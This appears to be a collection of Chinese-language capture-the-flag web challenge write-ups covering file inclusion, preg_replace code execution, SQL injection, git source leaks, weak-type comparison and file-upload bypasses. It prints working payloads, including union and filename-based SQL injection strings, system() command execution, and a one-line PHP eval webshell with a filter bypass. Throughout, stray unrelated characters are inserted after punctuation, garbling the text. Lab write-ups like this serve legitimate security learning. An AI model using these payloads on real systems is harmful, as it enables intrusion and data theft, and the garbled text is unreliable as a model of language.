cat
題目描述:抓住那只貓
打開鏈接宾巍,首先看到了一個(gè)輸入框讓我們輸入域名竟坛。輸入百度的ip:220.181.38.148灾测,然后submit一下,發(fā)現(xiàn)執(zhí)行了ping命令禁熏,然后試了一下127.0.0.1 壤巷,有返回值
然后嘗試?yán)霉艿纴韴?zhí)行一些命令,比如ls瞧毙,cat啥的胧华,構(gòu)造127.0.0.1 | ls? ,但是宙彪,沒什么用hhh矩动。沒得辦法,看了一下百度上的博客释漆,https://www.cnblogs.com/xyongsec/p/11364520.html
博客上面表示我們需要讀取數(shù)據(jù)庫里面的內(nèi)容悲没,然后讓數(shù)據(jù)庫報(bào)錯(cuò)的url編碼是%88,在這之前,我們需要發(fā)現(xiàn)一個(gè)問題男图,我們再輸入框輸入的所有內(nèi)容會在url上面構(gòu)造一個(gè)get傳參檀训,所以輸入%88相當(dāng)于get傳參一個(gè)東西使得ping報(bào)錯(cuò)柑潦。然后再報(bào)錯(cuò)的代碼中找找database,搜索的快捷鍵是CTRL+F峻凫,然后搜索database渗鬼,得到了database所在的位置。
然后再url后面訪問一下就得到flag了:
這里我們?yōu)槭裁匆右粋€(gè)@呢荧琼,這是我在網(wǎng)上找到的相關(guān)內(nèi)容譬胎。
這個(gè)題目我做的很懵逼,就這樣吧命锄。
ics-04
題目描述:工控云管理系統(tǒng)新添加的登錄和注冊頁面存在漏洞堰乔,請找出flag。
這個(gè)題目主要考察sql注入以及重復(fù)注冊(業(yè)務(wù)邏輯漏洞)
首先脐恩,打開鏈接镐侯,發(fā)現(xiàn)是一些奇奇怪怪的東西,亂七八糟一堆驶冒,瞎按一通以后發(fā)現(xiàn)登錄功能以及注冊功能是好的苟翻,其他不管怎么按都是白費(fèi)勁。然后看一下登錄以及注冊界面骗污。我先嘗試了admin爆破崇猫,密碼加起來十來萬個(gè),不行hhh需忿。然后看了一下登陸界面左下角有一個(gè)忘記密碼诅炉,點(diǎn)進(jìn)去里面有一個(gè)輸入框,想著可不可以在這里進(jìn)行注入呢屋厘。然后先隨便輸入一個(gè)東西涕烧,提交查詢并用BP抓包,把raw部分以txt格式保存
然后開始SQL注入
用戶名密碼都知道了汗洒,試試能不能登錄:
哦豁澈魄,完蛋。四處搜尋之下仲翎,突然想起來我們剛開始強(qiáng)調(diào)過的注冊界面痹扇,看看能不能利用重復(fù)注冊來把原來的密碼覆蓋掉。然后就成功覆蓋溯香,登錄鲫构,得到flag:
可以參考下面的題目“bug”對本頁面的密碼進(jìn)行修改,但是需要重新注冊一個(gè)用戶啥的巴拉巴拉一堆玫坛,有點(diǎn)麻煩结笨,嘿嘿嘿。
ics-05
題目描述:其他破壞者會利用工控云管理系統(tǒng)設(shè)備維護(hù)中心的后門入侵系統(tǒng)
打開鏈接的時(shí)候,界面是一個(gè)比較高端的東西炕吸,先打開源碼伐憾,發(fā)現(xiàn)沒什么東西,然后就在左邊那一欄瞎點(diǎn)點(diǎn)赫模,發(fā)現(xiàn)點(diǎn)開“設(shè)備維護(hù)中心”的時(shí)候树肃,界面跟一般的界面不太一樣。
發(fā)現(xiàn)頁面沒NewsCenter有任何信息瀑罗,在此查閱源碼胸嘴,發(fā)現(xiàn)了?page=index
既然上面出現(xiàn)了這東西那就試試,發(fā)現(xiàn)index出現(xiàn)在了網(wǎng)頁的下方斩祭,猜測等號后面就是網(wǎng)頁回顯的內(nèi)容劣像,換?page=123試試,然后也發(fā)現(xiàn)了回顯摧玫,很明顯耳奕,這是一個(gè)文件包含漏洞。
文件包含漏洞利用了? PHP偽協(xié)議中的php://filter
嘗試讀取index.php的頁面源碼诬像,通過php內(nèi)置協(xié)議直接讀取代碼屋群,因?yàn)橹苯幼x取會造成php代碼的執(zhí)行,那么便用base64(一種編碼颅停,詳見?https://baike.baidu.com/item/base64/8545775?fr=aladdin )將php代碼以base64代碼的形式展現(xiàn)谓晌。所以構(gòu)造payload:
?page=php://filter/read=convert.base64-encode/resource=index.php
打開base64在線轉(zhuǎn)換掠拳,轉(zhuǎn)換結(jié)果如下:
<?php
}}
//方便的實(shí)現(xiàn)輸入輸出的功能,正在開發(fā)中的功能癞揉,只能內(nèi)部人員測試
if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {
? ? echo "<br >Welcome My Admin ! <br >";
? ? $pattern = $_GET[pat];
? ? $replacement = $_GET[rep];
? ? $subject = $_GET[sub];
? ? if (isset($pattern) && isset($replacement) && isset($subject)) {
? ? ? ? preg_replace($pattern, $replacement, $subject);
? ? }else{
? ? ? ? die();
? ? }
}
然后開始代碼審計(jì),發(fā)現(xiàn)preg_replace函數(shù)存在命令執(zhí)行漏洞溺欧,此處明顯考察的是preg_replace 函數(shù)使用"/e"模式喊熟,導(dǎo)致代碼執(zhí)行的問題。
preg_replace函數(shù)函數(shù)作用:搜索subject中匹配pattern的部分姐刁, 以replacement進(jìn)行替換芥牌。
$pattern: 要搜索的模式,可以是字符串或一個(gè)字符串?dāng)?shù)組聂使。
$replacement: 用于替換的字符串或字符串?dāng)?shù)組壁拉。
$subject: 要搜索替換的目標(biāo)字符串或字符串?dāng)?shù)組。
/e 修正符使 preg_replace() 將 replacement 參數(shù)當(dāng)作 PHP 代碼(在適當(dāng)?shù)哪嫦蛞锰鎿Q完之后)柏靶。提示:要確保 replacement 構(gòu)成一個(gè)合法的 PHP 代碼字符串弃理,否則 PHP 會在報(bào)告在包含 preg_replace() 的行中出現(xiàn)語法解析錯(cuò)誤。
也就是說屎蜓,pat和sub有相同部分痘昌,rep的代碼就會執(zhí)行。
根據(jù)源碼分析X-Forwarded-For改成127.0.0.1之后,GET進(jìn)三個(gè)參數(shù)辆苔。然后調(diào)用了preg_replace函數(shù)算灸。并且沒有對pat進(jìn)行過濾,所以可以傳入"/e"觸發(fā)漏洞
試試驻啤,并且用BP抓包一下菲驴。
使用cd進(jìn)入目標(biāo)文件,并查看該文件夾下文件system("cd%20s3chahahaDir%26%26+ls")
此處不能使用空格隔開街佑,可用%20或者+代替谢翎,%26%26為&&,&&意思是當(dāng)前面命令執(zhí)行成功時(shí)沐旨,繼續(xù)執(zhí)行后面的命令森逮。
看到flag文件
繼續(xù)進(jìn)入查看system("cd%20s3chahahaDir/flag%26%26+ls")
看到flag.php,使用cat命令查看flag.php中的內(nèi)容 system("cat+cd%20s3chahahaDir/flag/flag.php%26%26+ls")
得到flag:cyberpeace{fd383b6f0242c4f342d807051ed1bf2e}
ics-06
云平臺報(bào)表中心收集了設(shè)備管理基礎(chǔ)服務(wù)的數(shù)據(jù),但是數(shù)據(jù)被刪除了磁携,只有一處留下了入侵者的痕跡褒侧。
打開鏈接后發(fā)現(xiàn)跟05的題型是一樣的,左邊瞎點(diǎn)點(diǎn)一圈后發(fā)現(xiàn)“報(bào)表中心”的界面與眾不同谊迄,那關(guān)鍵就應(yīng)該在這個(gè)界面上闷供。有了上題的經(jīng)驗(yàn),這一題我還是查看了源碼统诺,還發(fā)現(xiàn)了“?page=index”歪脏。
但是沒什么用,發(fā)現(xiàn)界面還是跟原來一樣粮呢。沒什么思路了婿失,只能瞎撞,東點(diǎn)點(diǎn)西摸摸搞了一圈后發(fā)現(xiàn)關(guān)鍵在id上(主要還是靠百度)啄寡,既然id可以爆破豪硅,我這邊寫了一個(gè)從0到9000的字典,用字典爆破得到當(dāng)id=2333的時(shí)候剛好出現(xiàn)flag挺物。
那把id=2333敲入url就除了flag:cyberpeace{a5720d3a0f97f1511bdd708c24e4d368}
lottery
打開鏈接后可以大致明白這個(gè)題目的意思懒浮,是一個(gè)博彩的一個(gè)游戲,只要贏了足夠的money就可以購買一個(gè)flag识藤。七搞八搞砚著,瞎蒙了幾次,發(fā)現(xiàn)沒有一次是對的痴昧,不知道咋整稽穆,源碼里面也沒有啥提示,那就各種方法整過了之后剪个,發(fā)現(xiàn)御劍上面跑出的robots.txt里面有點(diǎn)東西秧骑。
嗯版确?這個(gè)是git源碼泄露?百度后下載了GitHack(下載鏈接)乎折,里面還有樣例绒疗,那就這么玩吧。在下載的文件夾里面骂澄,按住Shif的同時(shí)吓蘑,點(diǎn)擊鼠標(biāo)右鍵,然后打開powershell坟冲,輸入? python2 GitHack.py http://111.198.29.45:56789/.git/?
然后在githack的文件夾里面出現(xiàn)了所有的該網(wǎng)站的php文件磨镶,因?yàn)槲覀冓A錢的操作主要是買彩票(輸入數(shù)字)實(shí)現(xiàn)的,所以我們需要看看這個(gè)買彩票的過程是怎么實(shí)現(xiàn)的健提,關(guān)鍵去找買彩票部分的php文件琳猫。
翻了一下bug.php,發(fā)現(xiàn)沒有我們想要的東西私痹,那么一個(gè)個(gè)試過去咯脐嫂,剛好在api.php里面發(fā)現(xiàn)了buy的定義。
如果懂php代碼紊遵,那么可以發(fā)現(xiàn)$number是用$req函數(shù)上傳账千,并沒有判斷number的數(shù)據(jù)類型(不一定必須為數(shù)字),而且用的是==暗膜,是一個(gè)弱類型比較匀奏,只要$win_number>=1,就可以被判斷為true学搜,那么把$number全部置為true就行了呀(注意娃善,因?yàn)?win_number是隨機(jī)生成的數(shù)字,所以可能是0恒水,當(dāng)生成0的時(shí)候會被判為false会放,但是不要緊饲齐,多傳幾次就行)钉凌。
于是用BP抓包,在這里我們需要注意捂人,上傳的true是字符御雕,傳的方式跟數(shù)字不一樣。數(shù)字傳值的格式是{“1,2,3"}滥搭,但是字符傳值的方式是{[true,true]}酸纲。
然后GO!發(fā)現(xiàn)得到了200000元瑟匆,多go幾次就攢夠買flag的錢了闽坡,真好。
NewsCenter
這一題考察的是sql注入。(SQLmap的方法只要會用疾嗅,就比較簡單外厂,這里就不做詳細(xì)介紹了)
輸入1 頁面返回兩條信息,聯(lián)合注入搞起來代承,輸入1' union select 1,2,3#? 發(fā)現(xiàn)有返回值(當(dāng)然是從1開始汁蝶,試驗(yàn)到3為止)
ok,注入點(diǎn)在2和3位论悴。那么開始注入操作掖棉,首先要知道數(shù)據(jù)庫名,構(gòu)造:1' union select 1,database(),3#?? 發(fā)現(xiàn)數(shù)據(jù)庫名字叫news膀估,然后繼續(xù)查表名? 1' union select 1,tablename,3 from information_schema.tables#? 得到所有表名幔亥,在表名的最后,我們發(fā)現(xiàn)了有一個(gè)表叫secret_tables察纯,那么flag可能在這個(gè)表里紫谷。然后輸入1' union select 1,column_name,300 from information_schema.columns where table_name = 'secret_table'#? 查看這個(gè)表里有啥
哦豁,flag找到了捐寥。然后輸入1' union select 1,fl4g,3 from secret_table#
mfw
寫本篇wp的時(shí)候笤昨,距離我上一次做這個(gè)題已經(jīng)一個(gè)月了。我居然忘記了怎么做握恳,還是查閱了三篇其他同志的wp后我才重新理解了這道題目瞒窒,所以顯得記錄是多么多么重要。
接下來講一下我做題的全過程乡洼。那道題目首先查看源碼
?page=flag崇裁??束昵?試試拔稳,沒用,場面一度很尷尬锹雏。
在上面那幾個(gè)界面之間來回切換一下巴比,發(fā)現(xiàn)了這個(gè)好像是一個(gè)線索,git礁遵,不就是git源碼泄露嘛轻绞。泄露方式在前面那個(gè)題目已經(jīng)講過了。git出來以后佣耐,在index.php里面發(fā)現(xiàn)了解題的關(guān)鍵政勃。
解讀一下代碼(代碼審計(jì)):第一個(gè)if的意思是,若上傳一個(gè)page兼砖,那么page就傳到$page這個(gè)變量里面奸远,否則既棺,將$page置為home。下面懒叛,$file變量是打開templates文件夾里面的page.php,這里傳入不同的page援制,就打開不同的文件,文件目錄如下:
所以page只能在這四個(gè)里面挑選
接下來是整個(gè)題目的關(guān)鍵芍瑞,先講一下涉及到的幾個(gè)函數(shù)的功能:
assert()檢查一個(gè)斷言是否為FALSE
strpos()函數(shù)查找字符串在另一字符串中第一次出現(xiàn)的位置晨仑。如果沒有找到則返回
Falsefile_exists()函數(shù)檢查文件或目錄是否存在。
assert()函數(shù)會將括號中的字符當(dāng)成代碼來執(zhí)行拆檬,并返回true或false洪己。
cat + 文件名——可以打開對應(yīng)的文件
不知道在哪下手?那就看看我們上傳的page在哪個(gè)函數(shù)用到過竟贯。好像兩個(gè)assert都用到了咕别,但是第二個(gè)函數(shù)沒辦法繞過拴签,那就選擇第一個(gè)assert函數(shù)繞過。
php中原有的代碼是? assert("strpos('$file', '..') === false") or die("");?? 我們需要構(gòu)造payload把前面閉合的同時(shí)再把后面閉合,中間再搞事情拿flag肺蔚。($file是我們上傳的參數(shù),可以任意上傳)
當(dāng)$file的內(nèi)容為上述黑色字體部分的時(shí)候姥份,asert函數(shù)內(nèi)部由一個(gè)strpos函數(shù)變?yōu)槿齻€(gè)函數(shù),而且都是完整函數(shù),于是執(zhí)行以后拴竹,便拿到了flag:cyberpeace{a22a2c7fba8d07c8c2cb1fc8f91988a3}???? (flag在源碼里面)
Training-WWW-Robots
這個(gè)題目還是比較簡單的,題目已經(jīng)提示robots了,那就想到robots協(xié)議香拉,先訪問/robots.txt,
提示很清楚明了苦掘,訪問fl0g.php揉忘,很棒棒,flag出來了。
NaNNaNNaNNaN-Batman
打開題目讯屈,沒有網(wǎng)頁,只有一個(gè)附件。下載解壓以后云挟,發(fā)現(xiàn)是一個(gè)叫web100的東西俊庇。沒有格式,也不知道用啥打開姓惑,那么要么以文本方式打開唯沮,要么就用winhex看看具體格式币旧。用記事本打開后發(fā)現(xiàn)了是一個(gè)html代碼毁葱,那就把文件后綴改成.html凛捏,但是有點(diǎn)亂,我也看不懂拌阴。把它拿過來放到控制臺藻丢,發(fā)現(xiàn)了人類能夠看得懂的東西:
整理一下茵臭,具體的代碼如下:
這里就是講述了flag的計(jì)算方式,但是得到flag的前提是滿足上面幾個(gè)if條件(正則匹配)宜岛。
法一:構(gòu)造正則匹配,e.length=16填硕,那就長度為16的字符串,而且字符串中必須出現(xiàn)be0f23诈唬、233ac八酒、e98aa荒澡、c7be9,16位髓涯,那就盡量把重復(fù)的放一起,構(gòu)造:be0f233ac7be98aa哈扮,剛好16位纬纪。打開web.html文件,輸入這個(gè)東西滑肉,得到flag包各。
法二:既然題目中已經(jīng)介紹了flag怎么算的,那就口算赦邻。根據(jù)for循環(huán)的運(yùn)算一個(gè)個(gè)算下來髓棋,但是容易錯(cuò),而且費(fèi)時(shí)間,更優(yōu)解看法三按声。
法三:既然這邊一斤介紹了flag的計(jì)算方法膳犹,那么何不構(gòu)造一個(gè)html文件,在原來的代碼基礎(chǔ)上加上html的頭尾就行签则。
保存為1.html须床,用瀏覽器打開,就是完美的flag渐裂。
bug
打開鏈接發(fā)現(xiàn)是個(gè)登錄界面豺旬,源碼里面沒有東西。首先想到爆破得到密碼柒凉,但是下面有注冊的按鈕族阅,emmm,那八成不能爆破膝捞。先注冊并且登錄坦刀,隨便注冊,成功就行蔬咬。
進(jìn)去以后發(fā)現(xiàn)是這個(gè)界面:
先試試每個(gè)按鈕的功能鲤遥,第一個(gè)就不能用(tmd),好像是需要admin這個(gè)賬號林艘,然后第二個(gè)按鈕是查看個(gè)人信息盖奈,第三個(gè)按鈕是修改密碼。好像也沒有啥特殊信息狐援。
退出登錄后钢坦,注冊一個(gè)賬號為admin的賬戶,but咕村,居然注冊不了场钉。
百度一下,發(fā)現(xiàn)線索在登錄界面那邊的findpwd懈涛,也就是找回密碼逛万。用注冊的賬號信息輸入以后,跳出這個(gè)界面:
抓包一下批钠,然后修改對應(yīng)的賬號信息宇植,然后GO!
很棒棒埋心,admin這個(gè)賬號的密碼被改了指郁,改成了admin。然后登錄并且點(diǎn)擊message按鈕拷呆,發(fā)現(xiàn)ip不符合要求闲坎。涼了啊疫粥。
但是轉(zhuǎn)念一想,admin不就是管理員登錄嘛腰懂,那就是本地登錄吧梗逮,不然也不能在這搞一個(gè)ip驗(yàn)證。試著BP抓包:
哦豁绣溜,又有線索慷彤。但是,這個(gè)do應(yīng)該是啥呢怖喻?
我百度了底哗,大佬說文件管理就是upload,我找大佬問問锚沸,等問明白了再做補(bǔ)充跋选。
就在我以為結(jié)束了的時(shí)候,出現(xiàn)了這個(gè)咒吐。
這個(gè)野建,還是一個(gè)上傳題属划?那就搞個(gè)一句話木馬恬叹?
咋回事,我不管傳什么后綴名都是說我是php同眯!不得不再次求助大佬绽昼,百度告訴我這里設(shè)置了黑名單過濾,所有的以<?php開頭的文件都會被砍掉须蜗。嗯哼硅确,用<script language="php"> ... php code... </script>來進(jìn)行繞過。
好嘞明肮,放了一句話菱农,然后BP抓包修改后綴名。發(fā)現(xiàn)大多數(shù)的后綴名都被黑名單了柿估,只有php4循未、php5可以用。傳上去之后就得到了flag:
附一句話代碼:
<script language="php">
@eval($_POST[pass]);
</script>
bug
打開鏈接后發(fā)現(xiàn)有個(gè)register(注冊)功能秫舌,先隨便注冊一個(gè)試試的妖。
登錄之后,點(diǎn)擊manage足陨,提示說你不是admin賬戶
點(diǎn)擊logout退出登錄嫂粟,然后試著注冊一個(gè)admin賬號,發(fā)現(xiàn)已被注冊墨缘。但是在登錄界面還發(fā)現(xiàn)一個(gè)Findpwd功能星虹,目測是find password的縮寫零抬,即找到密碼,試著從這里打開缺口宽涌。
點(diǎn)進(jìn)去媚值,輸入賬號以及生日信息、地址信息并點(diǎn)擊verify:
然后在這個(gè)界面輸入你想要修改的密碼护糖,并用抓包抓一下:
把qwe改成admin褥芒,跑一下,然后就修改了admin的密碼了嫡良,完美锰扶!
在登錄界面用admin登錄以后,發(fā)現(xiàn)還是進(jìn)不去manage這個(gè)選項(xiàng)寝受,提示ip不對坷牛,想著因?yàn)閍dmin一般是最高權(quán)限賬戶嘛很澄,會不會要求ip是本地訪問呢京闰,試試127.0.0.1(本地)
然后試著用X-Forwarded-For Header修改ip地址(是一個(gè)火狐插件)
很神奇的可以進(jìn)去了,問你flag在哪甩苛。
看看頁面源碼蹂楣,發(fā)現(xiàn)有個(gè)好東西:
do能等于啥呢?看到filemanage讯蒲,文件管理嘛痊土,do就是upload咯,試試咯:
哦豁墨林,是一個(gè)上傳題赁酝。要求上傳圖片,那我構(gòu)造一個(gè)執(zhí)行system函數(shù)中的ls函數(shù)的木馬:
<?php system('ls') ?>
結(jié)果識別出來是木馬旭等!那估計(jì)是php頭暴露了酌呆,咋辦,用<script language ="php">來繞過
<script language="php"> system('ls');</script>
抓包修改后綴為php5搔耕,GO隙袁,返回flag:
upload
題目描述:如題目環(huán)境有問題,稍等片刻后刷新即可(莫名其妙的描述)
打開鏈接后度迂,先是一個(gè)注冊界面藤乙,本以為這個(gè)就是題目,沒想到注冊了之后進(jìn)入的頁面才是題目的開始惭墓。
上傳一個(gè)一句話木馬坛梁,抓包了一下,發(fā)現(xiàn)行不通腊凶,不給我返回路徑划咐,emmmm拴念,涼了。
百度了一下褐缠,發(fā)現(xiàn)大佬博客里面說這個(gè)是SQL注入政鼠,文件名注入。好吧队魏,那就以注入的形式做一下公般。試了一下sqlmap,hhhhh胡桨,沒用官帘。老老實(shí)實(shí)手注。
先判斷過濾昧谊,select和from過濾了刽虹,那么雙寫繞過:selselectect,frfromom。
試了半天沒有回顯呢诬,大佬說要先用hex函數(shù)將轉(zhuǎn)16進(jìn)制涌哲,再用CONV函數(shù)將16進(jìn)制轉(zhuǎn)10進(jìn)制,再輸出尚镰。那就先構(gòu)造一個(gè):???? s'+(selselectect CONV(hex(dAtaBase()),16,10))+'.jpg
然后得到了
可能是數(shù)字太大了阀圾,咋整,那用substr函數(shù)來取前面的幾個(gè)數(shù)字吧钓猬。試了一下稍刀,發(fā)現(xiàn)當(dāng)位數(shù)超過13的時(shí)候,從第14位開始敞曹,就要用科學(xué)技術(shù)法,但是16進(jìn)制轉(zhuǎn)10進(jìn)制肯定是偶數(shù)的综膀,那就取12位澳迫。構(gòu)造:
s'+(selselectect CONV(substr(hex(dAtaBase()),1,12),16,10))+'.jpg
得到:
然后先轉(zhuǎn)16進(jìn)制,再轉(zhuǎn)字符串:131277325825392=>7765625f7570=>web_up
然后構(gòu)造:s'+(selselectect CONV(substr(hex(dAtaBase()),13,12),16,10))+'.jpg
得到:
1819238756=>6c6f6164=>load
拼起來:web_upload?? 這個(gè)是數(shù)據(jù)庫名剧劝。接下來就是正常操作了:
s'+(seleselectct+CONV(substr(hex((selselectect TABLE_NAME frfromom information_schema.TABLES where TABLE_SCHEMA = 'web_upload' limit 1,1)),1,12),16,10))+'.jpg
114784820031327=>68656c6c6f5f=>hello_
s'+(seleselectct+CONV(substr(hex((selselectect TABLE_NAME frfromom information_schema.TABLES where TABLE_SCHEMA = 'web_upload' limit1,1)),13,12),16,10))+'.jpg
112615676665705=>666c61675f69=>flag_i
s'+(seleselectct+CONV(substr(hex((selselectect TABLE_NAME frfromom information_schema.TABLES where TABLE_SCHEMA = 'web_upload'limit1,1)),25,12),16,10))+'.jpg
126853610566245=>735f68657265=>s_here
s'+(seleselectct+CONV(substr(hex((selselectect TABLE_NAME frfromom information_schema.TABLES where TABLE_SCHEMA = 'web_upload' limit 1,1)),37,12),16,10))+'.jpg
空的橄登,我還上傳了兩次,那表名就是flag_is_here了
同理讥此,搞字段名:s '+(seleselectct+CONV(substr(hex((seselectlect COLUMN_NAME frfromom information_schema.COLUMNS where TABLE_NAME = 'hello_flag_is_here' limit 0,1)),1,12),16,10))+'.jpg
115858377367398=>695f616d5f66=>i_am_f
s '+(seleselectct+CONV(substr(hex((seselectlect COLUMN_NAME frfromom information_schema.COLUMNS where TABLE_NAME = 'hello_flag_is_here' limit 0,1)),13,12),16,10))+'.jpg
7102823=>6c6167=>lag
加起來:i_am_flag
然后查字節(jié):s '+(seleselectct+CONV(substr(hex((selselectect i_am_flag frfromom hello_flag_is_here limit 0,1)),1,12),16,10))+'.jpg
36427215695199=>21215f406d5f=>!!_@m_
s '+(seleselectct+CONV(substr(hex((selselectect i_am_flag frfromom hello_flag_is_here limit 0,1)),13,12),16,10))+'.jpg
92806431727430=>54682e655f46=>Th.e_F
s '+(seleselectct+CONV(substr(hex((selselectect i_am_flag frfromom hello_flag_is_here limit 0,1)),25,12),16,10))+'.jpg
560750951=>216c6167=>!lag
拼接后:得到:flag: !!_@m_Th.e_F!lag
注意:提交的flag只需要內(nèi)容拢锹,不需要任何前綴,而且在寫文件名時(shí)萄喳,不要用數(shù)字卒稳,不然會沖突,會使回顯的正確值加上你的數(shù)字值他巨,導(dǎo)致錯(cuò)誤
FlatScience
題目描述:暫無
不太會充坑,看了大佬的博客還是不會减江,這里分享一下大佬的博客,自己體會一下:https://blog.csdn.net/zz_caleb/article/details/89323133
web2
題目描述:解密
其實(shí)這玩意就是做逆向捻爷。打開鏈接辈灼,直接給你php源碼,代碼審計(jì)也榄。
先補(bǔ)充一點(diǎn)知識:
strrev() 函數(shù):反轉(zhuǎn)字符串巡莹。
<?php
echo strrev("I love Shanghai!");
?>?
運(yùn)行結(jié)果:!iahgnahS evol Istr_rot13() 函數(shù):對字符串執(zhí)行 ROT13 編碼,在這里我們不需要知道ROT13編碼是啥甜紫,只要知道是一種加密手段榕莺,它的逆運(yùn)算是它本身
<?php
echo str_rot13("I love Shanghai");
echo "<br>";
echo str_rot13("V ybir Funatunv");
?>
運(yùn)行結(jié)果:
V ybir Funatunv
I love Shanghai
代碼審計(jì)完畢,接下來進(jìn)行計(jì)算棵介。手算是不可能手算的钉鸯,腳本解放雙手。因?yàn)槲冶容^喜歡python(不會php)邮辽,但是str_rot13() 唠雕、strrev() 用php寫比較方便,于是我php和python一起用吨述,嘿嘿嘿岩睁。
<?php
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";
$ans = str_rot13($miwen);
//echo $ans;
$ans = strrev($ans);
//echo $ans;
$ans = base64_decode($ans);
echo $ans;
?>?????? //執(zhí)行結(jié)果:~88:36e1bg8438e41757d:29cgeb6e48c`GUDTO|;hbmg
接下來用python對上一步的執(zhí)行結(jié)果進(jìn)行操作,具體操作是對每一位字符取它的ASCII碼的下一位(先取ASCII碼揣云,減一后再轉(zhuǎn)變?yōu)樽址?/p>
a = '~88:36e1bg8438e41757d:29cgeb6e48c`GUDTO|;hbmg'flag = ''
for i in a:
??? temp = ord(i)-1
??? temp = chr(temp)
??? flag += temp
print(flag)????? #執(zhí)行結(jié)果:}77925d0af7327d30646c918bfda5d37b_FTCSN{:galf
for i in range(len(flag),-1,-1):
???? a+=flag[i:i+1]
print(a)??????? #執(zhí)行結(jié)果:flag:{NSCTF_b73d5adfb819c64603d7237fa0d52977}
PHP2
題目描述:暫無
打開鏈接捕儒,里面啥都沒有,就一句話:Can you anthenticate to this website?
然后御劍掃描一波邓夕,無果刘莹,源碼看一看,也沒東西焚刚,這個(gè)題多半是涼了哈点弯。百度了一下,大佬說后面加一個(gè)index.phps,不明白為什么矿咕,但是輸入index.phps之后就得到了部分php源碼抢肛。
那我們需要做的就是get傳值一個(gè)id,關(guān)鍵在于構(gòu)造url碳柱。
url在瀏覽器的時(shí)候捡絮,瀏覽器會先對url的內(nèi)容做一次url解碼,然后進(jìn)入代碼后莲镣,代碼會對id的內(nèi)容再做一次解碼福稳,所以相當(dāng)于解碼兩次,我們構(gòu)造url的時(shí)候需要對‘a(chǎn)dmin’做一個(gè)二次編碼即可剥悟。大部分在線工具都無法加密灵寺,這里推薦‘小葵花’曼库,需要自取:https://pan.baidu.com/s/10d6h3-MsoH7HNmJdLdKuHw
然后get傳一個(gè)就完事了:
unserialize3
題目描述:暫無
打開鏈接略板,發(fā)現(xiàn)一段php代碼毁枯,在這里補(bǔ)充一個(gè)知識點(diǎn):當(dāng)序列化字符串表示對象屬性個(gè)數(shù)的值大于真實(shí)個(gè)數(shù)的屬性時(shí)就會跳過__wakeup的執(zhí)行。后面的?code=按時(shí)應(yīng)該get傳值一個(gè)code叮称。
所以自己構(gòu)造一下:
這里的幾個(gè)數(shù)字稍微改大一點(diǎn)就行了种玛,比如
upload1
題目描述:暫無
打開鏈接,發(fā)現(xiàn)是一個(gè)上傳界面瓤檐。寫了一個(gè)一句話木馬赂韵,命名為1.gif,上傳
上傳一張正常的png圖片挠蛉,可以祭示。上傳一張正常的gif文件,不行谴古。那估計(jì)gif被濾過了质涛。右鍵查看源碼,發(fā)現(xiàn)一堆js代碼掰担,大概意思是只讓上傳jpg汇陆、png圖片。那編輯一個(gè)一句話木馬然后命名為1.jpg然后上傳带饱,抓包修改后綴為1.php毡代,上傳成功
去對應(yīng)路徑訪問了一下,發(fā)現(xiàn)可以訪問